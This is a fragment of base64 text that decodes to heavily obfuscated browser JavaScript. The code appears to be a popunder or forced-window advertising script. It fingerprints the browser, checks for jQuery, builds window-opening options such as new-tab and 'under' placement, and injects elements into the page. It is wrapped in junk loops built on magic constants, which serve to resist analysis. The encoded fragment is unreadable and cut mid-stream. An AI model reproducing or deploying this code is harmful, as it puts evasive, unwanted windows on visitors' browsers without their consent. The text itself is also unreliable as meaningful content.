obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0